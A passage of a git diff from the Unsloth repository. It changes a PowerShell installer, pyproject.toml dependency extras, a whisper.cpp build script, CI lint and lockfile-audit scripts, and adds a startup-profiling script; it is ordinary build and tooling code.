$audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
$torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch (ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
if ($torchFixExit -ne 0) {
Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
@ -2331,7 +2698,7 @@ exit 0
} elseif ($expectedTorchTag -ne 'rocm') {
# CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
$torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
$torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch ($expectedTorchTag)" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
if ($torchFixExit -ne 0) {
Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
@ -2406,7 +2773,7 @@ exit 0
Write-TauriLog "ERROR" "unsloth CLI was not installed correctly"
Write-Host "[ERROR] unsloth CLI was not installed correctly." -ForegroundColor Red
Write-Host " Expected: $UnslothExe" -ForegroundColor Yellow
Write-Host " This usually means an older unsloth version was installed that does not include the Studio CLI." -ForegroundColor Yellow
Write-Host " This usually means an older unsloth version was installed that does not include the Unsloth CLI." -ForegroundColor Yellow
Write-Host " Try re-running the installer or see: https://github.com/unslothai/unsloth?tab=readme-ov-file#-quickstart" -ForegroundColor Yellow
return (Exit-InstallFailure "unsloth CLI was not installed correctly")
}
@ -2432,6 +2799,9 @@ exit 0
# an inherited value would put llama.cpp in the wrong place.
$previousUnslothStudioHome = $env:UNSLOTH_STUDIO_HOME
$hadPreviousUnslothStudioHome = ($null -ne $previousUnslothStudioHome)
$previousTauriMode = $env:UNSLOTH_TAURI_MODE
$hadPreviousTauriMode = ($null -ne $previousTauriMode)
$env:UNSLOTH_TAURI_MODE = if ($TauriMode) { "1" } else { "0" }
if ($StudioRedirectMode -eq 'env') {
$env:UNSLOTH_STUDIO_HOME = $StudioHome
} else {
@ -2461,14 +2831,22 @@ exit 0
} else {
Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue
}
if ($hadPreviousTauriMode) {
$env:UNSLOTH_TAURI_MODE = $previousTauriMode
} else {
Remove-Item Env:UNSLOTH_TAURI_MODE -ErrorAction SilentlyContinue
}
Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue
Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue
}
if ($setupExit -ne 0) {
Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red
if (-not $TauriMode) {
Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red
}
return (Exit-InstallFailure "unsloth studio setup failed (exit code $setupExit)" $setupExit)
}
Clear-TauriInstallError "studio setup completed"
# ── Expose `unsloth` via a shim dir containing only unsloth.exe ──
# We do NOT add the venv Scripts dir to PATH (it also holds python.exe
@ -2517,7 +2895,7 @@ exit 0
Write-Host " Move or remove it manually, then re-run the installer." -ForegroundColor Yellow
throw "Cannot create unsloth launcher: $ShimExe is a directory."
}
# try/catch: if unsloth.exe is locked (Studio running), keep the old shim.
# try/catch: if unsloth.exe is locked (Unsloth running), keep the old shim.
$shimUpdated = $false
try {
if (Test-Path -LiteralPath $ShimExe) { Remove-Item -LiteralPath $ShimExe -Force -ErrorAction Stop }
@ -2535,7 +2913,7 @@ exit 0
if (Test-Path -LiteralPath $ShimExe) {
Write-Host "[WARN] Could not refresh unsloth launcher at $ShimExe." -ForegroundColor Yellow
Write-Host " This usually means a running 'unsloth studio' process still holds the file open." -ForegroundColor Yellow
Write-Host " Close Studio and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow
Write-Host " Close Unsloth and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow
Write-Host " Continuing with the existing launcher." -ForegroundColor Yellow
} else {
Write-Host "[WARN] Could not create unsloth launcher at $ShimExe" -ForegroundColor Yellow
@ -2556,6 +2934,13 @@ exit 0
}
Refresh-SessionPath # sync current session with registry
Complete-StudioVenvRollback
$studioVenvReplacementCommitted = $true
Remove-StaleStudioVenvRollbacks
} finally {
if (-not $studioVenvReplacementCommitted) {
Restore-StudioVenvRollback
}
}
# Env-mode session export AFTER Refresh-SessionPath; otherwise a legacy
# User PATH entry (Machine > User > current $env:Path) would win.
@ -2600,9 +2985,10 @@ exit 0
# Diagnostic only; never block install on a probe failure.
}
# In interactive terminals, ask the user before starting Studio.
# In interactive terminals, ask the user before starting Unsloth unless the
# caller explicitly disabled the post-install prompt.
# In non-interactive environments (CI, Docker) just print instructions.
$IsInteractive = [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
$IsInteractive = (-not $SkipAutostart) -and [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
if ($IsInteractive) {
Write-Host ""
$reply = Read-Host " Start Unsloth Studio now? [Y/n]"
@ -2611,8 +2997,8 @@ exit 0
} else {
step "launch" "to start later, run:"
substep "unsloth studio -p 8888"
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
Write-Host ""
}
} else {
@ -2632,8 +3018,8 @@ exit 0
substep "& $_actLiteral"
substep "unsloth studio -p 8888"
}
substep "(add -H 0.0.0.0 to allow network / cloud access)"
substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
Write-Host ""
}
}

1692
install.sh

File diff suppressed because it is too large Load diff

View file

@ -25,11 +25,17 @@ classifiers = [
"Topic :: Scientific/Engineering :: Artificial Intelligence",
]
dependencies = [
"typer",
"typer>=0.12.0",
"rich",
"pydantic",
"pyyaml",
"nest-asyncio",
# Every CLI command imports studio.backend.*, which reaches structlog at
# module level. The rest of the server stack lives in the studio extra.
"structlog>=24.1.0",
# unsloth_cli/__init__.py reaches click via commands/start.py, so every
# command needs it. typer supplied it until 0.27 dropped the dependency.
"click>=8.0",
]
[project.scripts]
@ -41,8 +47,14 @@ version = {attr = "unsloth.models._utils.__version__"}
[tool.setuptools]
include-package-data = true
[tool.setuptools.cmdclass]
# Snapshots CHANGELOG.md into studio/ so every build path ships it.
build_py = "_changelog_build.build_py"
[tool.setuptools.package-data]
unsloth_cli = ["codex_fallback_prompt.md", "pi_subagent.ts"]
studio = [
"CHANGELOG.md",
"*.sh",
"*.ps1",
"*.bat",
@ -67,13 +79,40 @@ include = ["unsloth*", "unsloth_cli*", "studio", "studio.backend*"]
exclude = ["images*", "tests*", "*.node_modules", "*.node_modules.*"]
[project.optional-dependencies]
# Studio's server stack, mirroring studio/backend/requirements/studio.txt.
# test_studio_extra_matches_requirements.py catches drift.
studio = [
"typer",
"fastapi",
"uvicorn",
"pydantic",
"packaging",
"matplotlib==3.10.9",
"pandas",
"nest_asyncio",
"datasets==4.3.0",
"pyjwt",
"huggingface-hub==0.36.2",
"structlog>=24.1.0",
"diceware",
"ddgs",
"cryptography>=42.0.0",
"boto3>=1.34.0",
"httpx>=0.27.0",
"fastmcp>=3.0.2",
"sqlite-vec==0.1.9",
"pymupdf==1.27.2.3",
"pymupdf4llm==0.3.4",
"python-docx==1.2.0",
]
triton = [
"triton>=3.0.0 ; ('linux' in sys_platform)",
"triton-windows ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
]
huggingfacenotorch = [
"unsloth_zoo>=2026.7.1",
"unsloth_zoo>=2026.7.6",
"wheel>=0.42.0",
"packaging",
"numpy",
@ -92,9 +131,25 @@ huggingfacenotorch = [
"trl>=0.18.2,!=0.19.0,<=0.24.0",
"sentence-transformers",
]
# torchcodec backend for Gemma audio / datasets>=4 (#7225).
# Pick the audio-torch* pin matching your torch minor (see TORCH_TORCHCODEC).
# torchcodec publishes no sdist and only manylinux_2_28_x86_64, macosx_*_arm64
# and win_amd64 wheels, so Linux aarch64, Windows ARM64 and Intel Mac have
# nothing to resolve and pip fails the whole install rather than skipping audio.
# Gate on the platforms that have a wheel, matching
# PLATFORM_LACKS_TORCHCODEC_WHEEL in studio/install_python_stack.py.
audio-torch210 = [
"torchcodec>=0.10.0,<0.11.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
audio-torch290 = [
"torchcodec>=0.8.0,<0.10.0 ; python_version >= '3.10' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
audio-torch280 = [
"torchcodec>=0.6.0,<0.8.0 ; python_version >= '3.9' and (((sys_platform == 'linux' or sys_platform == 'win32') and (platform_machine == 'x86_64' or platform_machine == 'AMD64')) or (sys_platform == 'darwin' and platform_machine == 'arm64'))",
]
huggingface = [
"unsloth[huggingfacenotorch]",
"unsloth_zoo>=2026.7.1",
"unsloth_zoo>=2026.7.6",
"torchvision",
"unsloth[triton]",
]
@ -531,16 +586,19 @@ cu126-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu126onlytorch2100]",
"unsloth[audio-torch210]",
]
cu128-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu128onlytorch2100]",
"unsloth[audio-torch210]",
]
cu130-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu130onlytorch2100]",
"unsloth[audio-torch210]",
]
kaggle = [
"unsloth[huggingface]",
@ -579,7 +637,7 @@ colab-ampere-torch220 = [
"flash-attn>=2.6.3 ; ('linux' in sys_platform)",
]
colab-new = [
"unsloth_zoo>=2026.7.1",
"unsloth_zoo>=2026.7.6",
"packaging",
"tyro",
"transformers>=4.51.3,!=4.52.0,!=4.52.1,!=4.52.2,!=4.52.3,!=4.53.0,!=4.54.0,!=4.55.0,!=4.55.1,!=4.57.0,!=4.57.4,!=4.57.5,!=5.0.0,!=5.1.0,<=5.5.0",
@ -830,16 +888,19 @@ cu126-ampere-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu126onlytorch2100]",
"unsloth[audio-torch210]",
]
cu128-ampere-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu128onlytorch2100]",
"unsloth[audio-torch210]",
]
cu130-ampere-torch2100 = [
"unsloth[huggingface]",
"bitsandbytes>=0.45.5,!=0.46.0,!=0.48.0",
"unsloth[cu130onlytorch2100]",
"unsloth[audio-torch210]",
]
flashattentiontorch260abiFALSEcu12x = [
"flash-attn @ https://github.com/Dao-AILab/flash-attention/releases/download/v2.7.4.post1/flash_attn-2.7.4.post1+cu12torch2.6cxx11abiFALSE-cp39-cp39-linux_x86_64.whl ; ('linux' in sys_platform) and python_version == '3.9'",
@ -1124,7 +1185,8 @@ intelgputorch210 = [
"torchvision @ https://download.pytorch.org/whl/xpu/torchvision-0.25.0%2Bxpu-cp313-cp313-win_amd64.whl#sha256=1c4b44b36a557f7381e3076fb8843366742238648441d607c8d049c6da0f8886 ; sys_platform == 'win32' and python_version == '3.13' and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
]
intel-gpu-torch210 = [
"unsloth[intelgputorch210]"
"unsloth[intelgputorch210]",
"unsloth[audio-torch210]",
]
intelgputorch2110 = [
"unsloth_zoo[intelgpu]",
@ -1205,8 +1267,11 @@ intel = [
]
amd = [
"unsloth[huggingfacenotorch]",
"bitsandbytes>=0.49.1 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')",
"bitsandbytes>=0.49.1 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
# 4-bit decode is unreliable on ROCm before 0.50.0, the first PyPI release
# carrying the full path: blocksize/warp decoupling (bnb #1887), fused SIMT
# GEMM on RDNA (#1979), RDNA3/4 workgroup fix (#2012).
"bitsandbytes>=0.50.0 ; ('linux' in sys_platform) and (platform_machine == 'AMD64' or platform_machine == 'x86_64' or platform_machine == 'aarch64')",
"bitsandbytes>=0.50.0 ; (sys_platform == 'win32') and (platform_machine == 'AMD64' or platform_machine == 'x86_64')",
]
rocm702-torch280 = [
"unsloth[amd]",
@ -1278,6 +1343,7 @@ rocm72-torch2100 = [
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.2/torchvision-0.25.0%2Brocm7.2.0.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
"unsloth[audio-torch210]",
]
rocm711-torch2100 = [
"unsloth[amd]",
@ -1296,6 +1362,7 @@ rocm711-torch2100 = [
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp311-cp311-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.11' and platform_machine == 'x86_64'",
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp312-cp312-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.12' and platform_machine == 'x86_64'",
"torchvision @ https://repo.radeon.com/rocm/manylinux/rocm-rel-7.1.1/torchvision-0.25.0%2Brocm7.1.1.git82df5f59-cp313-cp313-linux_x86_64.whl ; platform_system == 'Linux' and python_version == '3.13' and platform_machine == 'x86_64'",
"unsloth[audio-torch210]",
]
[project.urls]

71
scripts/build_whisper_cpp.sh Executable file
View file

@ -0,0 +1,71 @@
#!/bin/sh
# Build whisper.cpp's whisper-server for Studio's GGUF dictation engine.
#
# Installs into the managed Studio home so the backend's binary discovery
# (core/inference/stt_ggml_sidecar.py::find_whisper_server_binary) picks it up:
# <UNSLOTH_STUDIO_HOME>/whisper.cpp/build/bin/whisper-server (custom home)
# ~/.unsloth/whisper.cpp/build/bin/whisper-server (default)
#
# Usage:
# ./scripts/build_whisper_cpp.sh # build the pinned tag
# WHISPER_CPP_TAG=v1.9.0 ./scripts/build_whisper_cpp.sh
#
# Requires: git, cmake, a C/C++ toolchain (the same prerequisites as a
# llama.cpp source build). GPU backends are auto-detected by whisper.cpp's
# CMake (Metal on macOS; set GGML_CUDA=1 to force a CUDA build on Linux).
set -eu
WHISPER_CPP_SOURCE="${WHISPER_CPP_SOURCE:-https://github.com/ggml-org/whisper.cpp}"
WHISPER_CPP_TAG="${WHISPER_CPP_TAG:-v1.9.1}"
STUDIO_HOME="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"
CUSTOM_STUDIO_HOME=false
if [ -n "$STUDIO_HOME" ]; then
CUSTOM_STUDIO_HOME=true
INSTALL_DIR="$STUDIO_HOME/whisper.cpp"
else
INSTALL_DIR="$HOME/.unsloth/whisper.cpp"
fi
command -v git >/dev/null 2>&1 || { echo "ERROR: git is required" >&2; exit 1; }
command -v cmake >/dev/null 2>&1 || { echo "ERROR: cmake is required" >&2; exit 1; }
# Same policy as studio/setup.sh's _assert_studio_owned_or_absent: never delete
# a directory under a custom Studio home unless Studio itself created it (the
# marker file below). Protects a user-managed whisper.cpp/src from rm -rf.
STUDIO_OWNED_MARKER=".unsloth-studio-owned"
if [ "$CUSTOM_STUDIO_HOME" = true ] && [ -e "$INSTALL_DIR" ] && \
[ ! -f "$INSTALL_DIR/$STUDIO_OWNED_MARKER" ]; then
echo "ERROR: $INSTALL_DIR already exists and is not marked as an Unsloth-owned whisper.cpp build tree." >&2
echo " Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2
exit 1
fi
echo "==> Building whisper.cpp ($WHISPER_CPP_TAG) into $INSTALL_DIR"
mkdir -p "$INSTALL_DIR"
: > "$INSTALL_DIR/$STUDIO_OWNED_MARKER"
if [ ! -d "$INSTALL_DIR/src/.git" ]; then
rm -rf "$INSTALL_DIR/src"
git clone --depth 1 --branch "$WHISPER_CPP_TAG" "$WHISPER_CPP_SOURCE" "$INSTALL_DIR/src"
else
git -C "$INSTALL_DIR/src" fetch --depth 1 origin "$WHISPER_CPP_TAG"
git -C "$INSTALL_DIR/src" checkout FETCH_HEAD
fi
CMAKE_FLAGS="-DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF"
if [ "${GGML_CUDA:-0}" = "1" ]; then
CMAKE_FLAGS="$CMAKE_FLAGS -DGGML_CUDA=ON"
fi
# shellcheck disable=SC2086
cmake -S "$INSTALL_DIR/src" -B "$INSTALL_DIR/src/build" $CMAKE_FLAGS
NCPU="$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)"
cmake --build "$INSTALL_DIR/src/build" --config Release --target whisper-server -j"$NCPU"
mkdir -p "$INSTALL_DIR/build/bin"
cp "$INSTALL_DIR/src/build/bin/whisper-server" "$INSTALL_DIR/build/bin/whisper-server"
echo "==> Installed $INSTALL_DIR/build/bin/whisper-server"
"$INSTALL_DIR/build/bin/whisper-server" --help >/dev/null 2>&1 && echo "==> Binary runs OK"

View file

@ -219,7 +219,7 @@ fi
echo "${ROCM_DIR}/lib" | $SUDO tee /etc/ld.so.conf.d/rocm.conf >/dev/null
$SUDO ldconfig
# ── Step 4: persist environment (system-wide so Studio's worker inherits it) ──
# ── Step 4: persist environment (system-wide so Unsloth's worker inherits it) ──
say "Persisting ROCm-on-WSL environment"
_envfile="/etc/profile.d/unsloth-rocm-wsl.sh"
$SUDO tee "$_envfile" >/dev/null <<EOF

View file

@ -52,14 +52,14 @@ def _normalise_on(on_field):
def _load_workflow(path: Path):
try:
return yaml.safe_load(path.read_text())
return yaml.safe_load(path.read_text(encoding = "utf-8"))
except Exception as exc:
print(f"ERROR: failed to parse {path}: {exc}", file = sys.stderr)
sys.exit(2)
def _extract_cache_keys(path: Path) -> list[str]:
text = path.read_text()
text = path.read_text(encoding = "utf-8")
keys: list[str] = []
for m in re.finditer(r"(?:^|\n)\s*key:\s*([^\n]+)", text):
keys.append(m.group(1).strip())
@ -104,7 +104,7 @@ def main() -> int:
for t in RESTRICTED_TRIGGERS:
if t in triggers:
text = path.read_text()
text = path.read_text(encoding = "utf-8")
if "lint:workflow_triggers-allow-workflow_run" not in text:
findings.append(
f"{path.name}: RESTRICTED trigger '{t}' requires an "

View file

@ -2,7 +2,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
"""Lockfile supply-chain audit for the Studio frontend and Tauri shell.
"""Lockfile supply-chain audit for the Unsloth frontend and Tauri shell.
Runs BEFORE `npm ci` / `cargo fetch` in CI. Refuses to proceed when a
lockfile contains patterns indicating supply-chain injection (npm
@ -294,7 +294,7 @@ CARGO_REGISTRY_SOURCE = "registry+https://github.com/rust-lang/crates.io-index"
# Cargo non-registry source allowlist: `(crate_name, exact_source_string)`.
# Both must match verbatim; bumping the pinned SHA forces a re-review.
# Studio's Tauri shell pulls `fix-path-env` from git because it is not
# Unsloth's Tauri shell pulls `fix-path-env` from git because it is not
# published to crates.io; commit c4c45d5 was reviewed when it landed.
CARGO_SOURCE_ALLOWLIST: tuple[tuple[str, str], ...] = (
(

View file

@ -95,8 +95,8 @@ COLAB_ORACLE_BASE_URL = "https://raw.githubusercontent.com/googlecolab/backend-i
# Source: pytorch/torchcodec compatibility matrix on its README.
TORCH_TORCHCODEC: dict[str, set[str]] = {
"2.10": {"0.10"},
"2.9": {"0.7", "0.8", "0.9"},
"2.8": {"0.6"},
"2.9": {"0.8", "0.9"},
"2.8": {"0.6", "0.7"},
"2.7": {"0.3", "0.4", "0.5"},
"2.6": {"0.2", "0.3"},
"2.5": {"0.1", "0.2"},

377
scripts/profile_startup.py Normal file
View file

@ -0,0 +1,377 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Measure where Unsloth Studio's startup time goes, per platform.
Nothing measured this before: the backend logs "lifespan startup completed in X ms"
but no test or CI job asserted a budget, and studio_test_kit discards the elapsed
time of its /healthz poll. A first local run (Linux, warm cache, fast server CPU)
found `import main` alone costs 6.6s before the server can bind, dominated by eager
module-level imports pulled in by the `routes` package:
torch 1930 ms self
unsloth_zoo 914 ms self
routes 779 ms self
transformers 524 ms self
Phases measured:
import `python -X importtime -c "import main"`, top cumulative + per-package self
spawn process start -> first byte on stdout
healthz process start -> /api/health (or /healthz) answers 200
lifespan the backend's own "lifespan startup completed in X ms" log line
Usage:
python scripts/profile_startup.py --repeats 3 --json out.json
python scripts/profile_startup.py --import-only # no server, no port needed
Exit code is 0 unless --max-healthz-seconds is given and exceeded.
"""
from __future__ import annotations
import argparse
import json
import math
import os
import platform
import re
import shutil
import socket
import statistics
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
BACKEND = REPO_ROOT / "studio" / "backend"
_IMPORTTIME_RE = re.compile(r"import time:\s+(\d+)\s+\|\s+(\d+)\s+\|(\s*)(\S.*)")
def _free_port() -> int:
with socket.socket() as s:
s.bind(("127.0.0.1", 0))
return int(s.getsockname()[1])
def profile_imports(python: str, top: int = 15) -> dict:
"""Cumulative and self import cost for the backend's module graph.
Run in a subprocess with -X importtime: the numbers are only meaningful for a
cold interpreter, and importing in-process would measure a warm sys.modules.
"""
proc = subprocess.run(
[python, "-X", "importtime", "-c", "import sys; sys.path.insert(0, '.'); import main"],
cwd = BACKEND,
capture_output = True,
text = True,
timeout = 900,
)
rows = []
for line in proc.stderr.splitlines():
m = _IMPORTTIME_RE.match(line)
if m:
rows.append((int(m.group(1)), int(m.group(2)), m.group(4).strip()))
if not rows:
return {"ok": False, "error": (proc.stderr or proc.stdout)[-2000:]}
if proc.returncode != 0:
# Rows survive up to the failure, so any total from a partial graph is wrong.
return {
"ok": False,
"error": (proc.stderr or proc.stdout)[-2000:],
"partial_rows": len(rows),
}
by_cum = sorted(rows, key = lambda r: -r[1])
# Total comes from the `main` row, not by_cum[0]: -X importtime also prints the
# interpreter's own startup graph (`site`), which can outrank a trivial main.
main_row = next((r for r in reversed(rows) if r[2] == "main"), None)
if main_row is None:
return {
"ok": False,
"error": "no `import main` row in -X importtime output\n"
+ (proc.stderr or proc.stdout)[-2000:],
}
self_by_pkg: dict[str, int] = {}
for self_us, _cum, name in rows:
pkg = name.split(".")[0]
self_by_pkg[pkg] = self_by_pkg.get(pkg, 0) + self_us
return {
"ok": True,
"total_seconds": round(main_row[1] / 1e6, 3),
"top_cumulative": [
{"module": n, "seconds": round(c / 1e6, 3)} for _s, c, n in by_cum[:top]
],
"self_by_package_ms": {
k: round(v / 1000) for k, v in sorted(self_by_pkg.items(), key = lambda x: -x[1])[:top]
},
}
def _terminate_tree(proc: subprocess.Popen) -> None:
"""Stop the server AND its children, which on Windows are a separate process.
CI profiles `Scripts/unsloth.exe`, a distlib launcher stub that CreateProcess's
the venv python and waits, so terminate() reaps the stub only: the real backend
keeps the inherited stdout handle, the reader thread never sees EOF, and
--repeats strands one server per iteration on the shared UNSLOTH_STUDIO_HOME.
taskkill /T walks the tree, as unsloth_cli/commands/start.py already does.
"""
if proc.poll() is not None:
return
if os.name == "nt":
try:
killed = subprocess.run(
["taskkill", "/PID", str(proc.pid), "/T", "/F"],
capture_output = True,
timeout = 30,
check = False,
)
if killed.returncode == 0:
return
except Exception:
# taskkill missing or timed out; fall through so the stub still dies.
pass
# check=False: a nonzero taskkill does not raise, so fall through as well.
proc.terminate()
def profile_launch(
bin_path: str,
port: int,
timeout_s: int = 300,
) -> dict:
"""Spawn the backend the way the desktop app does and time it to first 200."""
log_lines: list[str] = []
first_byte: list[float] = []
t0 = time.perf_counter()
proc = subprocess.Popen(
[bin_path, "studio", "--api-only", "-H", "127.0.0.1", "-p", str(port)],
cwd = REPO_ROOT,
stdout = subprocess.PIPE,
stderr = subprocess.STDOUT,
text = True,
bufsize = 1,
)
def _drain() -> None:
# Runs alongside the health polling: the first read timestamps the spawn
# phase, and an undrained pipe blocks the backend before it binds.
for line in proc.stdout:
if not first_byte:
first_byte.append(time.perf_counter() - t0)
log_lines.append(line.rstrip("\n"))
reader = threading.Thread(target = _drain, daemon = True)
reader.start()
t_healthz = None
deadline = t0 + timeout_s
try:
while time.perf_counter() < deadline:
if proc.poll() is not None:
break
if t_healthz is None:
for url in (
f"http://127.0.0.1:{port}/api/health",
f"http://127.0.0.1:{port}/healthz",
):
try:
with urllib.request.urlopen(url, timeout = 2) as r:
if r.status == 200:
t_healthz = time.perf_counter() - t0
break
except (urllib.error.URLError, OSError, TimeoutError):
pass
if t_healthz is not None:
break
time.sleep(0.25)
finally:
_terminate_tree(proc)
try:
# Safe: the reader drains the pipe, so the child cannot block on write().
proc.wait(timeout = 30)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
reader.join(timeout = 10)
t_first_byte = first_byte[0] if first_byte else None
lifespan_ms = None
for line in log_lines:
m = re.search(r"lifespan startup completed in ([\d.]+)ms", line)
if m:
lifespan_ms = float(m.group(1))
return {
"spawn_seconds": round(t_first_byte, 3) if t_first_byte is not None else None,
"healthz_seconds": round(t_healthz, 3) if t_healthz is not None else None,
"lifespan_ms": lifespan_ms,
"reached_healthz": t_healthz is not None,
"log_tail": log_lines[-25:],
}
def python_version_of(python: str) -> str:
"""Version of the interpreter that runs the imports, not the one running us.
--python points at the installed Studio venv while this script runs under the
runner's system python, so platform.python_version() would label it wrong.
"""
if python == sys.executable:
return platform.python_version()
try:
proc = subprocess.run(
[python, "-c", "import platform; print(platform.python_version())"],
capture_output = True,
text = True,
timeout = 60,
)
if proc.returncode == 0 and proc.stdout.strip():
return proc.stdout.strip()
except (OSError, subprocess.SubprocessError):
pass
return "unknown"
def find_bin() -> str | None:
home = os.environ.get("UNSLOTH_STUDIO_HOME") or str(Path.home() / ".unsloth" / "studio")
names = ["unsloth.exe", "unsloth"] if platform.system() == "Windows" else ["unsloth"]
subdirs = ["unsloth_studio/Scripts", "unsloth_studio/bin", "bin", "Scripts"]
for sd in subdirs:
for n in names:
p = Path(home) / sd / n
if p.exists():
return str(p)
return shutil.which("unsloth")
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(
description = __doc__, formatter_class = argparse.RawDescriptionHelpFormatter
)
ap.add_argument(
"--repeats",
type = int,
default = 1,
help = "launch repeats; the median is reported (imports are measured once)",
)
ap.add_argument(
"--python",
default = sys.executable,
help = "interpreter used for the import profile (default: this one)",
)
ap.add_argument("--bin", help = "path to the unsloth CLI (default: autodetect)")
ap.add_argument(
"--import-only",
action = "store_true",
help = "skip the server phases (no install needed beyond the deps)",
)
ap.add_argument(
"--max-healthz-seconds",
type = float,
help = "fail if the median time to a healthy port exceeds this",
)
ap.add_argument("--json", help = "write the full report here")
a = ap.parse_args(argv)
# range(0) launches nothing, leaving the budget check with nothing to fail on.
if a.repeats < 1:
ap.error("--repeats must be at least 1")
# Same reason: --import-only never launches anything.
if a.import_only and a.max_healthz_seconds is not None:
ap.error("--max-healthz-seconds cannot be combined with --import-only")
# nan and inf parse fine as floats but `med > budget` is then always False,
# so the gate would report success without ever bounding anything.
if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds):
